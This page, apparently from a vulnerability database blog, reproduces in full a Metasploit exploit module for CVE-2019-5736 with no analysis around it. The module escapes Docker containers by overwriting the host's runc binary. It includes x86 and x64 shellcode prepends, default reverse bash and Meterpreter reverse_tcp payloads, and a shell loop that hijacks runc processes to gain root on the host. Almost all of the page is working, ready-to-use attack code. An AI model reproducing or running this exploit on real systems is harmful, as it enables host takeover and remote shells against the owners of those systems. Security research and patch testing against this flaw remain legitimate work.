Friday, July 2, 2021

Docker Container Escape

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local

Rank = ManualRanking

include Msf::Post::Linux::Priv
include Msf::Post::File
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper

# This matches PAYLOAD_MAX_SIZE in CVE-2019-5736.c
PAYLOAD_MAX_SIZE = 1048576

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Docker Container Escape Via runC Overwrite',
'Description' => %q{
This module leverages a flaw in `runc` to escape a Docker container
and get command execution on the host as root. This vulnerability is
identified as CVE-2019-5736. It overwrites the `runc` binary with the
payload and wait for someone to use `docker exec` to get into the
container. This will trigger the payload execution.

Note that executing this exploit carries important risks regarding
the Docker installation integrity on the target and inside the
container ('Side Effects' section in the documentation).
},
'Author' => [
'Adam Iwaniuk', # Discovery and original PoC
'Borys Popławski', # Discovery and original PoC
'Nick Frichette', # Other PoC
'Christophe De La Fuente', # MSF Module
'Spencer McIntyre' # MSF Module co-author ('Prepend' assembly code)
],
'References' => [
['CVE', '2019-5736'],
['URL', 'https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape-from-docker-and.html'],
['URL', 'https://www.openwall.com/lists/oss-security/2019/02/13/3'],
['URL', 'https://www.docker.com/blog/docker-security-update-cve-2018-5736-and-container-security-best-practices/']
],
'DisclosureDate' => '2019-01-01',
'License' => MSF_LICENSE,
'Platform' => %w[linux unix],
'Arch' => [ ARCH_CMD, ARCH_X86, ARCH_X64 ],
'Privileged' => true,
'Targets' => [
[
'Unix (In-Memory)',
{
'Platform' => 'unix',
'Type' => :unix_memory,
'Arch' => ARCH_CMD,
'DefaultOptions' => {
'PAYLOAD' => 'cmd/unix/reverse_bash'
}
}
],
[
'Linux (Dropper) x64',
{
'Platform' => 'linux',
'Type' => :linux_dropper,
'Arch' => ARCH_X64,
'Payload' => {
'Prepend' => Metasm::Shellcode.assemble(Metasm::X64.new, <<-ASM).encode_string
push 4
pop rdi
_close_fds_loop:
dec rdi
push 3
pop rax
syscall
test rdi, rdi
jnz _close_fds_loop

mov rax, 0x000000000000006c
push rax
mov rax, 0x6c756e2f7665642f
push rax
mov rdi, rsp
xor rsi, rsi

push 2
pop rax
syscall

push 2
pop rax
syscall

push 2
pop rax
syscall
ASM
},
'DefaultOptions' => {
'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp',
'PrependFork' => true
}
}
],
[
'Linux (Dropper) x86',
{
'Platform' => 'linux',
'Type' => :linux_dropper,
'Arch' => ARCH_X86,
'Payload' => {
'Prepend' => Metasm::Shellcode.assemble(Metasm::X86.new, <<-ASM).encode_string
push 4
pop edi
_close_fds_loop:
dec edi
push 6
pop eax
int 0x80
test edi, edi
jnz _close_fds_loop

push 0x0000006c
push 0x7665642f
push 0x6c756e2f
mov ebx, esp
xor ecx, ecx

push 5
pop eax
int 0x80

push 5
pop eax
int 0x80

push 5
pop eax
int 0x80
ASM
},
'DefaultOptions' => {
'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp',
'PrependFork' => true
}
}
]
],
'DefaultOptions' => {
# Give the user on the target plenty of time to trigger the payload
'WfsDelay' => 300
},
'DefaultTarget' => 1,
'Notes' => {
# Docker may hang and will need to be restarted
'Stability' => [CRASH_SERVICE_DOWN, SERVICE_RESOURCE_LOSS, OS_RESOURCE_LOSS],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [ARTIFACTS_ON_DISK]
}
)
)

register_options([
OptString.new(
'OVERWRITE',
[
true,
'Shell to overwrite with \'#!/proc/self/exe\'',
'/bin/sh'
]
),
OptString.new(
'SHELL',
[
true,
'Shell to use in scripts (must be different than OVERWRITE shell)',
'/bin/bash'
]
),
OptString.new(
'WRITABLEDIR',
[
true,
'A directory where you can write files.',
'/tmp'
]
)
])
end

def encode_begin(real_payload, reqs)
super

return unless target['Type'] == :unix_memory

reqs['EncapsulationRoutine'] = proc do |_reqs, raw|
# Replace any instance of the shell we're about to overwrite with the
# substitution shell.
pl = raw.gsub(/\b#{datastore['OVERWRITE']}\b/, datastore['SHELL'])
overwrite_basename = File.basename(datastore['OVERWRITE'])
shell_basename = File.basename(datastore['SHELL'])
# Also, substitute shell base names, since some payloads rely on PATH
# environment variable to call a shell
pl.gsub!(/\b#{overwrite_basename}\b/, shell_basename)
# Prepend shebang
"#!#{datastore['SHELL']}\n#{pl}\n\n"
end
end

def exploit
unless is_root?
fail_with(Failure::NoAccess,
'The exploit needs a session as root (uid 0) inside the container')
end
if target['Type'] == :unix_memory
print_warning(
"A ARCH_CMD payload is used. Keep in mind that Docker will be\n"\
"unavailable on the target as long as the new session is alive. Using a\n"\
"Meterpreter payload is recommended, since specific code that\n"\
"daemonizes the process is automatically prepend to the payload\n"\
"and won\'t block Docker."
)
end

verify_shells

path = datastore['WRITABLEDIR']
overwrite_shell(path)
shell_path = setup_exploit(path)

print_status("Launch exploit loop and wait for #{wfs_delay} sec.")
cmd_exec('/bin/bash', shell_path, wfs_delay, 'Subshell' => false)

print_status('Done. Waiting a bit more to make sure everything is setup...')
sleep(5)
print_good('Session ready!')
end

def verify_shells
['OVERWRITE', 'SHELL'].each do |option_name|
shell = datastore[option_name]
unless command_exists?(shell)
fail_with(Failure::BadConfig,
"Shell specified in #{option_name} module option doesn't exist (#{shell})")
end
end
end

def overwrite_shell(path)
@shell = datastore['OVERWRITE']
@shell_bak = "#{path}/#{rand_text_alphanumeric(5..10)}"
print_status("Make a backup of #{@shell} (#{@shell_bak})")
# This file will be restored if the loop script succeed. Otherwise, the
# cleanup method will take care of it.
begin
copy_file(@shell, @shell_bak)
rescue Rex::Post::Meterpreter::RequestError => e
fail_with(Failure::NoAccess, "Unable to backup #{@shell} to #{@shell_bak}: #{e}")
end

print_status("Overwrite #{@shell}")
begin
write_file(@shell, '#!/proc/self/exe')
rescue Rex::Post::Meterpreter::RequestError => e
fail_with(Failure::NoAccess, "Unable to overwrite #{@shell}: #{e}")
end
end

def setup_exploit(path)
print_status('Upload payload')
payload_path = "#{path}/#{rand_text_alphanumeric(5..10)}"
if target['Type'] == :unix_memory
vprint_status("Updated payload:\n#{payload.encoded}")
upload(payload_path, payload.encoded)
else
pl = generate_payload_exe
if pl.size > PAYLOAD_MAX_SIZE
fail_with(Failure::BadConfig,
"Payload is too big (#{pl.size} bytes) and must less than #{PAYLOAD_MAX_SIZE} bytes")
end
upload(payload_path, generate_payload_exe)
end

print_status('Upload exploit')
exe_path = "#{path}/#{rand_text_alphanumeric(5..10)}"
upload_and_chmodx(exe_path, get_exploit)
register_files_for_cleanup(exe_path)

shell_path = "#{path}/#{rand_text_alphanumeric(5..10)}"
@runc_backup_path = "#{path}/#{rand_text_alphanumeric(5..10)}"
print_status("Upload loop shell script ('runc' will be backed up to #{@runc_backup_path})")
upload(shell_path, loop_script(exe_path: exe_path, payload_path: payload_path))

return shell_path
end

def upload(path, data)
print_status("Writing '#{path}' (#{data.size} bytes) ...")
begin
write_file(path, data)
rescue Rex::Post::Meterpreter::RequestError => e
fail_with(Failure::NoAccess, "Unable to upload #{path}: #{e}")
end
register_file_for_cleanup(path)
end

def upload_and_chmodx(path, data)
upload(path, data)
chmod(path, 0o755)
end

def get_exploit
target_arch = session.arch
if session.arch == ARCH_CMD
target_arch = cmd_exec('uname -a').include?('x86_64') ? ARCH_X64 : ARCH_X86
end
case target_arch
when ARCH_X64
exploit_data('CVE-2019-5736', 'CVE-2019-5736.x64.bin')
when ARCH_X86
exploit_data('CVE-2019-5736', 'CVE-2019-5736.x86.bin')
else
fail_with(Failure::BadConfig, "The session architecture is not compatible: #{target_arch}")
end
end

def loop_script(exe_path:, payload_path:)
<<~SHELL
while true; do
for f in /proc/*/exe; do
tmp=${f%/*}
pid=${tmp##*/}
cmdline=$(cat /proc/${pid}/cmdline)
if [[ -z ${cmdline} ]] || [[ ${cmdline} == *runc* ]]; then
#{exe_path} /proc/${pid}/exe #{payload_path} #{@runc_backup_path}&
sleep 3
mv -f #{@shell_bak} #{@shell}
chmod +x #{@shell}
exit
fi
done
done
SHELL
end

def cleanup
super

# If something went wrong and the loop script didn't restore the original
# shell in the docker container, make sure to restore it now.
if @shell_bak && file_exist?(@shell_bak)
copy_file(@shell_bak, @shell)
chmod(@shell, 0o755)
print_good('Container shell restored')
end
rescue Rex::Post::Meterpreter::RequestError => e
fail_with(Failure::NoAccess, "Unable to restore #{@shell}: #{e}")
ensure
# Make sure we delete the backup file
begin
rm_f(@shell_bak) if @shell_bak
rescue Rex::Post::Meterpreter::RequestError => e
fail_with(Failure::NoAccess, "Unable to delete #{@shell_bak}: #{e}")
end
end

def on_new_session(new_session)
super
@session = new_session
runc_path = cmd_exec('which docker-runc')
if runc_path == ''
print_error(
"'docker-runc' binary not found in $PATH. Cannot restore the original runc binary\n"\
"This must be done manually with: 'cp #{@runc_backup_path} <path to docker-runc>'"
)
return
end

begin
rm_f(runc_path)
rescue Rex::Post::Meterpreter::RequestError => e
print_error("Unable to delete #{runc_path}: #{e}")
return
end
if copy_file(@runc_backup_path, runc_path)
chmod(runc_path, 0o755)
print_good('Original runc binary restored')
begin
rm_f(@runc_backup_path)
rescue Rex::Post::Meterpreter::RequestError => e
print_error("Unable to delete #{@runc_backup_path}: #{e}")
end
else
print_error(
"Unable to restore the original runc binary #{@runc_backup_path}\n"\
"This must be done manually with: 'cp #{@runc_backup_path} runc_path'"
)
end
end

end
 

Copyright © 2020 Cyber Details - Vulnerability Database™

Thanks for everything Templateism - You should have written the code a little more complicated